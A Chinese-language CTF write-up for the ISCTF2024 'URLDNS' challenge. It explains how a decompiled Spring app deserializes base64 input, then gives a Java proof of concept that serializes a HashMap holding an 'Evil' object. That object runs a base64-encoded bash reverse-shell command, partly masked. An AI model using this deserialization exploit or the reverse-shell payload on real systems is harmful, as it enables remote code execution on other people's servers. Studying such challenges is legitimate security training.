URLDNS实战

写在前面


题目来源:ISCTF2024 URLDNS


思路


拿到jar文件,先使用jd-gui反编译看一下内容

可以看到两个关键类Eval.clss和IndexController.clss


alt text


alt text


可以看到在IndexController类中,@PostMapping注解处接收/ser路由,当我们传参unser,他就会调用base64deserial方法解码base64字符串,对传入的内容进行反序列化。

但是我们都知道,URLDNS链并没有实际的高危利用方法,链子过程在此不表

详情请看 URLDNS链


转到Eval.clss类中,我们可以看到在base64deserial方法中,有一个eval方法,这个方法接收了一个字符串,然后在hashCode方法中使用了Runtime.getRuntime().exec()方法执行了传入的字符串。

这下思路就清晰了,我们可以借鉴URLDNS链的利用思路,通过反序列化的方式去利用Evil类的HashCode方法,从而调用Runtime.getRuntime().exec()方法执行命令。


POC

直接上POC


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package cat.uwu.begin_java;

import java.util.Base64;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class EvilURLDNS {


public static void serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();


String base64Encoded = Base64.getEncoder().encodeToString(baos.toByteArray());


try (FileWriter writer = new FileWriter("ser.txt")) {
writer.write(base64Encoded);
}

}

public static void base64deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

public static void main(String[] args) throws Exception {

Class<?> evilClass = Class.forName("cat.uwu.begin_java.Evil");
Constructor<?> evilcon = evilClass.getDeclaredConstructor(String.class);
evilcon.setAccessible(true);


Object evilInstance = evilcon.newInstance("bash -c {echo,YmFzaCAtaSA+Ji****************}|{base64,-d}|{bash,-i}");

HashMap<Object, String> hashMap = new HashMap<>();
hashMap.put(evilInstance, "1");

serialize(hashMap);

}
}



ser.txt的文件就是payload